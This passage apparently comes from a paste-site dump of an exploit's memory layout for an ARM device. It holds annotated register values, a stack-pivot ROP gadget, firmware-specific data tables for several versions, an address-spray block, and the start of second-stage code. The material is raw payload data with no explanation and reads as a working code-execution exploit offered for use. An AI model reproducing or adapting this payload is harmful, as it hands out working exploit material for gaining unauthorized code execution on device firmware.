  1599. 0x08F02880: 0x0010322C ; R4
  1600. 0x08F02884: 0x0022FE44 ; R5
  1601. 0x08F02888: 0x00100B5C ; R6
  1602. 0x08F0288C: 0x08F0212C ; LR
  1603. 0x08F02890: 0x002D6A30 ; MOV SP, LR, LDMFD SP!, {LR,PC}
  1604.  
  1605. ... REPLACE WITH FW DATA ...
  1606. 0x08F02894: 0x00000000 ;
  1607. 0x08F02898: 0x00000000 ;
  1608. 0x08F0289C: 0x00000000 ;
  1609. 0x08F028A0: 0x00000000 ;
  1610. 0x08F028A4: 0x00000000 ;
  1611. 0x08F028A8: 0x00000000 ;
  1612. 0x08F028AC: 0x00000000 ;
  1613. 0x08F028B0: 0x00000000 ;
  1614. 0x08F028B4: 0x00000000 ;
  1615. 0x08F028B8: 0x00000000 ;
  1616. 0x08F028BC: 0x00000000 ;
  1617. 0x08F028C0: 0x00000000 ;
  1618. 0x08F028C4: 0x00000000 ;
  1619. 0x08F028C8: 0x00000000 ;
  1620. 0x08F028CC: 0x00000000 ;
  1621. 0x08F028D0: 0x00000000 ;
  1622. 0x08F028D4: 0x00000000 ;
  1623. ... END REPLACE ...
  1624.  
  1625. ... EX: FW 4.1.0 ...
  1626. 0x08F028D8: 0x009D2000 ;
  1627. 0x08F028DC: 0x252D3000 ;
  1628. 0x08F028E0: 0x1E5F8FFD ;
  1629. 0x08F028E4: 0x192D3000 ;
  1630. 0x08F028E8: 0xEFF83C97 ;
  1631. 0x08F028EC: 0xF0000000 ;
  1632. 0x08F028F0: 0xE8000000 ;
  1633. 0x08F028F4: 0xEFFF4C80 ;
  1634. 0x08F028F8: 0xEFFE4DD4 ;
  1635. 0x08F028FC: 0xFFF84DDC ;
  1636. 0x08F02900: 0xFFF748C4 ;
  1637. 0x08F02904: 0xEFFF497C ;
  1638. 0x08F02908: 0x1FFF4C84 ;
  1639. 0x08F0290C: 0xFFFD0000 ;
  1640. 0x08F02910: 0xFFFD2000 ;
  1641. 0x08F02914: 0xFFFD4000 ;
  1642. 0x08F02918: 0xFFFCE000 ;
  1643. ... END REPLACED ...
  1644.  
  1645. ... FW SPECIFIC DATA ...
  1646. 0x08F028D8: 0x009D2000 ;
  1647. 0x08F028DC: 0x252D3000 ;
  1648. 0x08F028E0: 0x1E5F8FFD ;
  1649. 0x08F028E4: 0x192D3000 ;
  1650. 0x08F028E8: 0xEFF83C97 ;
  1651. 0x08F028EC: 0xF0000000 ;
  1652. 0x08F028F0: 0xE8000000 ;
  1653. 0x08F028F4: 0xEFFF4C80 ;
  1654. 0x08F028F8: 0xEFFE4DD4 ;
  1655. 0x08F028FC: 0xFFF84DDC ;
  1656. 0x08F02900: 0xFFF748C4 ;
  1657. 0x08F02904: 0xEFFF497C ;
  1658. 0x08F02908: 0x1FFF4C84 ;
  1659. 0x08F0290C: 0xFFFD0000 ;
  1660. 0x08F02910: 0xFFFD2000 ;
  1661. 0x08F02914: 0xFFFD4000 ;
  1662. 0x08F02918: 0xFFFCE000 ;
  1663. 0x08F0291C: 0x009D2000 ;
  1664. 0x08F02920: 0x255D1000 ;
  1665. 0x08F02924: 0x1E5F8FFD ;
  1666. 0x08F02928: 0x195D1000 ;
  1667. 0x08F0292C: 0xEFF8372F ;
  1668. 0x08F02930: 0xF0000000 ;
  1669. 0x08F02934: 0xE8000000 ;
  1670. 0x08F02938: 0xEFFF4C80 ;
  1671. 0x08F0293C: 0xEFFE55BC ;
  1672. 0x08F02940: 0xFFF765C4 ;
  1673. 0x08F02944: 0xFFF64B94 ;
  1674. 0x08F02948: 0xEFFF4978 ;
  1675. 0x08F0294C: 0x1FFF4C84 ;
  1676. 0x08F02950: 0xFFFD0000 ;
  1677. 0x08F02954: 0xFFFD2000 ;
  1678. 0x08F02958: 0xFFFD4000 ;
  1679. 0x08F0295C: 0xFFFCE000 ;
  1680. 0x08F02960: 0x009D2000 ;
  1681. 0x08F02964: 0x255D1000 ;
  1682. 0x08F02968: 0x1E5F8FFD ;
  1683. 0x08F0296C: 0x195D1000 ;
  1684. 0x08F02970: 0xEFF8372B ;
  1685. 0x08F02974: 0xF0000000 ;
  1686. 0x08F02978: 0xE8000000 ;
  1687. 0x08F0297C: 0xEFFF4C80 ;
  1688. 0x08F02980: 0xEFFE55B8 ;
  1689. 0x08F02984: 0xFFF765C0 ;
  1690. 0x08F02988: 0xFFF64B90 ;
  1691. 0x08F0298C: 0xEFFF4978 ;
  1692. 0x08F02990: 0x1FFF4C84 ;
  1693. 0x08F02994: 0xFFFD0000 ;
  1694. 0x08F02998: 0xFFFD2000 ;
  1695. 0x08F0299C: 0xFFFD4000 ;
  1696. 0x08F029A0: 0xFFFCE000 ;
  1697. 0x08F029A4: 0x009D2000 ;
  1698. 0x08F029A8: 0x255D1000 ;
  1699. 0x08F029AC: 0x1E5F8FFD ;
  1700. 0x08F029B0: 0x195D1000 ;
  1701. 0x08F029B4: 0xEFF8372B ;
  1702. 0x08F029B8: 0xF0000000 ;
  1703. 0x08F029BC: 0xE8000000 ;
  1704. 0x08F029C0: 0xEFFF4C80 ;
  1705. 0x08F029C4: 0xEFFE5AE8 ;
  1706. 0x08F029C8: 0xFFF76AF0 ;
  1707. 0x08F029CC: 0xFFF64A78 ;
  1708. 0x08F029D0: 0xEFFF4978 ;
  1709. 0x08F029D4: 0x1FFF4C84 ;
  1710. 0x08F029D8: 0xFFFD0000 ;
  1711. 0x08F029DC: 0xFFFD2000 ;
  1712. 0x08F029E0: 0xFFFD4000 ;
  1713. 0x08F029E4: 0xFFFCE000 ;
  1714. 0x08F029E8: 0x009D2000 ;
  1715. 0x08F029EC: 0x255D1000 ;
  1716. 0x08F029F0: 0x1E5F8FFD ;
  1717. 0x08F029F4: 0x195D1000 ;
  1718. 0x08F029F8: 0xEFF8372B ;
  1719. 0x08F029FC: 0xF0000000 ;
  1720. 0x08F02A00: 0xE8000000 ;
  1721. 0x08F02A04: 0xEFFF4C80 ;
  1722. 0x08F02A08: 0xEFFE5AE8 ;
  1723. 0x08F02A0C: 0xFFF76AF0 ;
  1724. 0x08F02A10: 0xFFF64A78 ;
  1725. 0x08F02A14: 0xEFFF4978 ;
  1726. 0x08F02A18: 0x1FFF4C84 ;
  1727. 0x08F02A1C: 0xFFFD0000 ;
  1728. 0x08F02A20: 0xFFFD2000 ;
  1729. 0x08F02A24: 0xFFFD4000 ;
  1730. 0x08F02A28: 0xFFFCE000 ;
  1731. 0x08F02A2C: 0x009D2000 ;
  1732. 0x08F02A30: 0x255D1000 ;
  1733. 0x08F02A34: 0x1E5F8FFD ;
  1734. 0x08F02A38: 0x195D1000 ;
  1735. 0x08F02A3C: 0xEFF8372F ;
  1736. 0x08F02A40: 0xF0000000 ;
  1737. 0x08F02A44: 0xE8000000 ;
  1738. 0x08F02A48: 0xEFFF4C80 ;
  1739. 0x08F02A4C: 0xEFFE5B34 ;
  1740. 0x08F02A50: 0xFFF76B3C ;
  1741. 0x08F02A54: 0xFFF64AB0 ;
  1742. 0x08F02A58: 0xEFFF4978 ;
  1743. 0x08F02A5C: 0x1FFF4C84 ;
  1744. 0x08F02A60: 0xFFFD0000 ;
  1745. 0x08F02A64: 0xFFFD2000 ;
  1746. 0x08F02A68: 0xFFFD4000 ;
  1747. 0x08F02A6C: 0xFFFCE000 ;
  1748. 0x08F02A70: 0x009D2000 ;
  1749. 0x08F02A74: 0x255D1000 ;
  1750. 0x08F02A78: 0x1E5F8FFD ;
  1751. 0x08F02A7C: 0x195D1000 ;
  1752. 0x08F02A80: 0xEFF8372B ;
  1753. 0x08F02A84: 0xF0000000 ;
  1754. 0x08F02A88: 0xE8000000 ;
  1755. 0x08F02A8C: 0xEFFF4C80 ;
  1756. 0x08F02A90: 0xEFFE5B30 ;
  1757. 0x08F02A94: 0xFFF76B38 ;
  1758. 0x08F02A98: 0xFFF64AAC ;
  1759. 0x08F02A9C: 0xEFFF4978 ;
  1760. 0x08F02AA0: 0x1FFF4C84 ;
  1761. 0x08F02AA4: 0xFFFD0000 ;
  1762. 0x08F02AA8: 0xFFFD2000 ;
  1763. 0x08F02AAC: 0xFFFD4000 ;
  1764. 0x08F02AB0: 0xFFFCE000 ;
  1765. 0x08F02AB4: 0x009D2000 ;
  1766. 0x08F02AB8: 0x255D1000 ;
  1767. 0x08F02ABC: 0x1E5F8FFD ;
  1768. 0x08F02AC0: 0x195D1000 ;
  1769. 0x08F02AC4: 0xDFF83767 ;
  1770. 0x08F02AC8: 0xE0000000 ;
  1771. 0x08F02ACC: 0xD8000000 ;
  1772. 0x08F02AD0: 0xDFFF4C80 ;
  1773. 0x08F02AD4: 0xDFFE4F28 ;
  1774. 0x08F02AD8: 0xFFF66F30 ;
  1775. 0x08F02ADC: 0xFFF54BAC ;
  1776. 0x08F02AE0: 0xDFFF4974 ;
  1777. 0x08F02AE4: 0x1FFF4C84 ;
  1778. 0x08F02AE8: 0xFFFBE000 ;
  1779. 0x08F02AEC: 0xFFFC0000 ;
  1780. 0x08F02AF0: 0xFFFC2000 ;
  1781. 0x08F02AF4: 0xFFFBC000 ;
  1782. 0x08F02AF8: 0x009D2000 ;
  1783. 0x08F02AFC: 0x255D1000 ;
  1784. 0x08F02B00: 0x1E5F8FFD ;
  1785. 0x08F02B04: 0x195D1000 ;
  1786. 0x08F02B08: 0xDFF83837 ;
  1787. 0x08F02B0C: 0xE0000000 ;
  1788. 0x08F02B10: 0xD8000000 ;
  1789. 0x08F02B14: 0xDFFF4C80 ;
  1790. 0x08F02B18: 0xDFFE59D0 ;
  1791. 0x08F02B1C: 0xFFF279D8 ;
  1792. 0x08F02B20: 0xFFF151C0 ;
  1793. 0x08F02B24: 0xDFFF4974 ;
  1794. 0x08F02B28: 0x1FFF4C84 ;
  1795. 0x08F02B2C: 0xFFFC2000 ;
  1796. 0x08F02B30: 0xFFFC4000 ;
  1797. 0x08F02B34: 0xFFFC6000 ;
  1798. 0x08F02B38: 0xFFFC0000 ;
  1799. ... END FW SPECIFIC DATA ...
  1800.  
  1801. ... *(int*)0x08000838 SET TO HERE ...
  1802. 0x08F02B3C: 0x002CAFE4 ;
  1803. 0x08F02B40: 0x002CAFE4 ;
  1804. 0x08F02B44: 0x002CAFE4 ;
  1805. 0x08F02B48: 0x002CAFE4 ;
  1806. 0x08F02B4C: 0x002CAFE4 ;
  1807. 0x08F02B50: 0x002CAFE4 ;
  1808. 0x08F02B54: 0x002CAFE4 ;
  1809. 0x08F02B58: 0x002CAFE4 ;
  1810. 0x08F02B5C: 0x002CAFE4 ;
  1811. 0x08F02B60: 0x002CAFE4 ;
  1812. 0x08F02B64: 0x002CAFE4 ;
  1813. 0x08F02B68: 0x002CAFE4 ;
  1814. 0x08F02B6C: 0x002CAFE4 ;
  1815. 0x08F02B70: 0x002CAFE4 ;
  1816. 0x08F02B74: 0x002CAFE4 ;
  1817. 0x08F02B78: 0x002CAFE4 ;
  1818. 0x08F02B7C: 0x002CAFE4 ;
  1819. 0x08F02B80: 0x002CAFE4 ;
  1820. 0x08F02B84: 0x002CAFE4 ;
  1821. 0x08F02B88: 0x002CAFE4 ;
  1822. 0x08F02B8C: 0x00000000 ;
  1823.  
  1824. ... START OF SECOND STAGE CODE ...
  1825. 0x08F02B90: 0xE1A00000 ;
  1826. ...
  1827. 0x08F04D7C: 0x00000000 ;
  1828. ... END OF SECOND STAGE ...
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement